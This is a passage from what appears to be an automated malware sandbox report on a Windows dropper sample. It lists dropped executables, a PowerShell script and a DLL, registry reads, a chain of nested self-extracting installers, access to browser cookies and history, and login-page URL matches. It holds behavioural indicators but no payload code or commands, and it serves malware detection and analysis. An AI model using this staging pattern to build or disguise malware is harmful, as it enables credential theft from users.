type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Crashpad\settings.dat]- [targetUID: 00000000-00007084] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG]- [targetUID: 00000000-00007084] "631972dc-e65c-43d7-b9fd-3af2af0404ad.tmp" has type "ASCII text with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\631972dc-e65c-43d7-b9fd-3af2af0404ad.tmp]- [targetUID: 00000000-00006928] "Variations" has type "JSON data"- [targetUID: N/A] "000012.log" has type "data"- [targetUID: N/A] "Last Version" has type "ASCII text with no line terminators"- [targetUID: N/A] "5650306b-78f3-4d3c-bc48-a061d7d6b33e.tmp" has type "very short file (no magic)"- [targetUID: N/A] "foto1661.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000060051\foto1661.exe]- [targetUID: 00000000-00006736] "salo_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "tus.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000059051\tus.exe]- [targetUID: 00000000-00006736] "explothe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\fefffe8cea\explothe.exe]- [targetUID: 00000000-00001224] "explothe.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "clip64_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "2.ps1" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\1000058041\2.ps1]- [targetUID: 00000000-00002612] "545631d9-e695-4ad1-ade3-7ea3fb2fd9f9.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A]5b:Ta33,"1bbe3fb3-28ea-4f65-b330-87f90859b8b7.tmp" has type "UTF-8 Unicode text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\1bbe3fb3-28ea-4f65-b330-87f90859b8b7.tmp] "02dda6d6-158c-4bea-af91-78476b62859a.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\02dda6d6-158c-4bea-af91-78476b62859a.tmp] "fff2a07b-9d6f-4d46-ba63-1c21bb07c3dc.tmp" has type "ASCII text with very long lines with no line terminators" "0381100c-b251-418b-acf7-7a9c6871c905.tmp" has type "ASCII text with very long lines with no line terminators" "85f926b1-03fd-4da3-a069-2b5094a34743.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\85f926b1-03fd-4da3-a069-2b5094a34743.tmp] "e1512b58-be22-4a74-9fbf-fd28ed122f50.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\e1512b58-be22-4a74-9fbf-fd28ed122f50.tmp] "3d201ea0-996c-4d32-804a-f28733db134e.tmp" has type "ASCII text with very long lines with no line terminators" "96699446-0d22-45d5-a08c-123f97b255a1.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\96699446-0d22-45d5-a08c-123f97b255a1.tmp] "cb839a43-776c-4fe5-a7b2-4c2ea3c50a11.tmp" has type "ASCII text with very long lines with no line terminators" "af6004a7-ca6e-4d4a-999d-696aabd8c20b.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\af6004a7-ca6e-4d4a-999d-696aabd8c20b.tmp] "24044bb2-02c4-4644-94c1-332b9e6cf502.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\24044bb2-02c4-4644-94c1-332b9e6cf502.tmp] "d020a653-0832-4e31-b0f6-4edc7a4288ef.tmp" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 12260" - Location: [%TEMP%\d020a653-0832-4e31-b0f6-4edc7a4288ef.tmp] "631972dc-e65c-43d7-b9fd-3af2af0404ad.tmp" has type "ASCII text with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\631972dc-e65c-43d7-b9fd-3af2af0404ad.tmp] "5650306b-78f3-4d3c-bc48-a061d7d6b33e.tmp" has type "very short file (no magic)" "545631d9-e695-4ad1-ade3-7ea3fb2fd9f9.tmp" has type "ASCII text with very long lines with no line terminators"5c:T64a,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "")5d:T8bf,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\pu4QC49.exe" (UID: 768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6aw7Xx2.exe" (UID: 768) "pu4QC49.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\XJ8DL15.exe" (UID: 2300) "pu4QC49.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5cM9dm9.exe" (UID: 2300) "XJ8DL15.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\UG5dl07.exe" (UID: 6800) "XJ8DL15.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4Kb287am.exe" (UID: 6800) "UG5dl07.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Sj8xo42.exe" (UID: 7836) "UG5dl07.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\3CP67Xw.exe" (UID: 7836) "Sj8xo42.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\1TB52Ye1.exe" (UID: 7752) "Sj8xo42.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\2va9153.exe" (UID: 7752) "1TB52Ye1.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 584) "AppLaunch.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 7404) "AppLaunch.exe" queries basic process information of the "C:\Windows\System32\winlogon.exe" (UID: 7404) "AppLaunch.exe" queries basic process information of the "C:\Windows\servicing\TrustedInstaller.exe" (UID: 7404) "3CP67Xw.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 1648) "4Kb287am.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 6432) "AppLaunch.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 7032)5e:Tc75,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "B04B96A73E3F5D5AB5CD20B1151F47AD.EXE"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "")5f:T8c5,"2va9153.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "2va9153.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "2va9153.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "2va9153.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "2va9153.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "2va9153.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "5cM9dm9.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "5cM9dm9.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "explothe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\2[1].ps1" "explothe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\clip64[1].dll" "explothe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\tus[1].exe" "explothe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\salo[1].exe" "explothe.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\2[1].ps1" "explothe.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\4EKOOWYY\tus[1].exe" "explothe.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\salo[1].exe" "explothe.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "cmd.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "cmd.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "cmd.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "cmd.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "cmd.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "cmd.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "powershell.exe" touched file "\Device\HarddiskVolume2\Windows\System32\CatRoot" "powershell.exe" touched file "\Device\HarddiskVolume2\Windows\System32\catroot2"60:Tc51,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\PU4QC49.EXE" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\pu4QC49.exe" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6AW7XX2.EXE" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6aw7Xx2.exe" "pu4QC49.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "pu4QC49.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\CABINET.DLL" "pu4QC49.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VERSION.DLL" "pu4QC49.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\FLTLIB.DLL" "pu4QC49.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\XJ8DL15.EXE" "pu4QC49.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\XJ8DL15.exe" "pu4QC49.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5CM9DM9.EXE" "pu4QC49.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5cM9dm9.exe" "XJ8DL15.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "XJ8DL15.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\CABINET.DLL" "XJ8DL15.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\VERSION.DLL" "XJ8DL15.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\FLTLIB.DLL" "XJ8DL15.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\UG5DL07.EXE" "XJ8DL15.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\UG5dl07.exe" "XJ8DL15.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4KB287AM.EXE" "XJ8DL15.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4Kb287am.exe" "UG5dl07.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL"61:T893,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" trying to access non-existent file "\Device\HarddiskVolume2\B04B96A73E3F5D5AB5CD20B1151F47AD.EXE.LOCAL" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "pu4QC49.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\PU4QC49.EXE.LOCAL" "pu4QC49.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "pu4QC49.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "XJ8DL15.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\XJ8DL15.EXE.LOCAL" "XJ8DL15.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "XJ8DL15.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "UG5dl07.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\UG5DL07.EXE.LOCAL" "UG5dl07.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "UG5dl07.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "Sj8xo42.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\SJ8XO42.EXE.LOCAL" "Sj8xo42.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" "Sj8xo42.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" "AppLaunch.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "AppLaunch.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "AppLaunch.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC"62:T17c3,Pattern match: "https://www.youtube.com/" Pattern match: "https://www.facebook.com/login" Pattern match: "https://accounts.google.com/" Heuristic match: "Y_G.JO" Heuristic match: "ML.cC" Heuristic match: "/2.Im" Pattern match: "https://www.facebook.com/loginstart" Pattern match: "accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyyMZqhAix1TlA4M4bt3iVLRaJISCvDc1TbMMLAmIk4fJLHyDayIM4jLEvXAbYlHmm-YbOMRbASign" Pattern match: "search.yahoo.com/favicon.icohttps://search.yahoo.com/search{google:pathWildcard}?ei={inputEncoding}&fr=crmas_sfp&p={searchTerms}UTF-8https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command={searchTerms}485bf7d3-0215-45af-87dc-53886800000" Pattern match: "https://ntp.msn.com/edge/ntp?locale=en&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531edge://settings/profileskeygjgieestate_{edge://settingsedge://settings/edge://settings/?search=smartkeygr10nmstate_{edge://settingsedge://settings/?search=smartedge" Pattern match: "www.clarity.msCLIDv10" Pattern match: "ntp.msn.com/edge/ntp?locale=en&title=New+tab&dsp=1&sp=Bing&startpage=1&PC=U531]=https://ntp.msn.com/edge/ntp?locale=en&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531U-https://ntp.msn.com/edge/ntp?locale=en&title=New%20tab&dsp=1&sp=Bing&prerender=1cIhttp" Pattern match: "csp.withgoogle.com/csp/report-to/boq-infra/identity-boq-js-css-signerss'[]httpswww.facebook.comdefaulthttps://www.facebook.com/ajax/browser_error_reports/?device_level=unknown[]httpslogin.microsoftonline.comnetwork-errorshttps://identity.nel.measure.office" Pattern match: "vp33YPEDt.dR/{hT8AC^dPJ~[^n{f\RSM8f*'Z7t]Vh?t&V!vydnz4" Pattern match: "github.com/notepad-plus-plus/notepad-plus-plus/releases/download/v8.4.7/npp.8.4.7.portable.x64.7zhttps://objects.githubusercontent.com/github-production-release-asset-2e65be/33014811/42d9bc38-89f0-48d8-94ec-d1f3649d2fc3?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-A" Pattern match: "https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE53r3l?ver=5412,PORTRAIT:https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE53bta?ver=2bf3,update_period:86400},creativeId:128000000003595" Pattern match: "https://*excel.officeapps.live.com/*,https://*onenote.officeapps.live.com/*,https://*powerpoint.officeapps.live.com/*,https://*word-edit.officeapps.live.com/*,https://*excel.partner.officewebapps.cn/*,https://*onenote.partner.officewebapps.cn/*," Pattern match: "https://ntp.msn.com/REG:https://ntp.msn.com/https://ntp.msn.com/edge/ntp.https://ntp.msn.com/edge/ntp/service-worker.js" Pattern match: "https://googleads.g.doubleclick.net/next-map-idQnamespace-3bbc91a6_51d0_4200_9fa7_2e3ec0fddf25-https://tpc.googlesyndication.com/34U" Pattern match: "https://www.clarity.ms,supports_spdy:true},{anonymization:[],server:https://microsoftedgewelcome.microsoft.com,supports_spdy:true},{anonymization:[],server:https://edgefrecdn.azureedge.net,supports_spdy:true},{anonymization:[],server" Pattern match: "www.facebook.com/loginhttps://www.facebook.com/loginhttps://www.youtube.com/https://www.youtube.com/https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyyQO4" Pattern match: "www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.CfshIOFLb3A.es5.O/am=DoQVkTg2AIL_iybP3zNODgMAAAAAAAAAAKyB7A/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlFYbR4WKHksKBs_oAI7WSSuL5Xj1A/m=_b,_tp" Pattern match: "assets.db/MANIFEST-0000012023/11/01-19:40:21.468" Heuristic match: "accounts.google.com" Heuristic match: "arc.msn.com" Heuristic match: "fonts.gstatic.com" Pattern match: "www.bing.com" Pattern match: "www.facebook.com" Pattern match: "www.gstatic.com" Pattern match: "www.youtube.com" Pattern match: "www.youtube.com\//g" Pattern match: "https://www.youtube.com/error_204?t=jserror&level=ERROR" Pattern match: "https://www.youtube.com/s/desktop/9e7f5697/img/favicon.ico" Pattern match: "https://i.ytimg.com/generate_204" Pattern match: "https://www.youtube.com/s/desktop/9e7f5697/jsbin/scheduler.vflset/scheduler.js" Pattern match: "https://www.youtube.com/s/desktop/9e7f5697/jsbin/network.vflset/network.js" Pattern match: "https://www.youtube.com/s/desktop/9e7f5697/cssbin/www-main-desktop-watch-page-skeleton.css" Pattern match: "assets.db/MANIFEST-000001" Pattern match: "assets.db/000003.log" Pattern match: "https://accounts.google.com/v3/signin/" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.gpZW3DR8SRY.L.B1.O/am=DoQVkTg2AIL_Q5Pn7xknhwEAAAAAAAAAANZAdg/d=1/ed=1/rs=AOaEmlF0W11DOutqUlJ0TlChR0oD0us8Vg/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVGdeOYktMqlap.woff2" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.GCB8Z7VaEcs.es5.O/am=DoQVkTg2AIL_Q5Pn7xknhwEAAAAAAAAAANZAdg/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHV0fT1U0MjWzo7GD5Q9TVBHIytSg/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" Pattern match: "https://accounts.google.com/AccountChooser?continue\u003dhttps://accounts.google.com/\u0026followup\u003dhttps://accounts.google.com/],[null,[null,null,https://accounts.google.com/Logout?continue\u003dhttps://accounts.google.com/restart?continue%3Dhttps:" Pattern match: "https://www.youtube.com" Pattern match: "https://accounts.google.com" Heuristic match: "https_.Jiaccounts.go0gle.com" Pattern match: "http://www.w3.org/2001/XMLSchema-instance" Heuristic match: "H}.se" Heuristic match: "]U.rO" Heuristic match: "V& .Ky" Heuristic match: "+c.sA" Pattern match: "eddit.com/r/gifs" Pattern match: "ww.reddit.com/r/gifs" Pattern match: "www.reddit.com/r/gifs" Pattern match: "nstagram.com/justinbieber" Pattern match: "ww.instagram.com/justinbieber" Pattern match: "www.instagram.com/justinbieber"63:T6960,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000768.00000001.69492.00850000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002064.00000000.69620.02DC0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - 